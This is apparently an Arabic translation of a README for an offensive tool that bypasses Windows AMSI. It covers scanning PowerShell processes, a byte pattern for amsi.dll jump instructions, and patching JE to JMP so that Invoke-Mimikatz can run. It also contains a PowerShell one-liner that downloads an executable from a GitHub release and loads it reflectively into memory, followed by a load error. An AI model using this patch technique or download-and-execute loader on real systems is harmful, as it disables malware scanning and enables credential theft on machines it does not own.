
تجاوز AMSI مدى الحياة بواسطة @ZeroMemoryEx منقول إلى .NET Framework 4.8
AMSI bypass عمر كامل من AMSI-Killer بواسطة @ZeroMemoryEx تم نقله إلى .NET Framework 4.8.
[ x ] - فحص مباشر لعمليات powershell الجديدة كل 0.5 ثانية -> يصحح تلقائياً حالات powershell الجديدة
نحصل على العنوان الدقيق لتعليمة القفز بالبحث عن البايت الأول لكل تعليمة. هذه التقنية فعالة حتى في مواجهة التحديثات أو التعديلات على مجموعة البيانات المستهدفة.
على سبيل المثال:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
سيكون نمط البحث كالتالي:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

يختبر البرنامج قيمة RDX مقابل نفسها. إذا كان التقييم يساوي 0، ينفذ البرنامج قفزة للعودة. وإلا، يتابع البرنامج تقييم التعليمات التالية.

لا يمكننا تنفيذ "Invoke-Mimikatz"

نقوم بتصحيح البايت الأول وتغييره من JE إلى JMP ليعود مباشرة.


الآن يمكننا تنفيذ "Invoke-Mimikatz"



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
إذا رأيت هذه الرسالة يوماً وتساءلت عنها - مرحباً بك في واجهة .NET AMSI! :-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."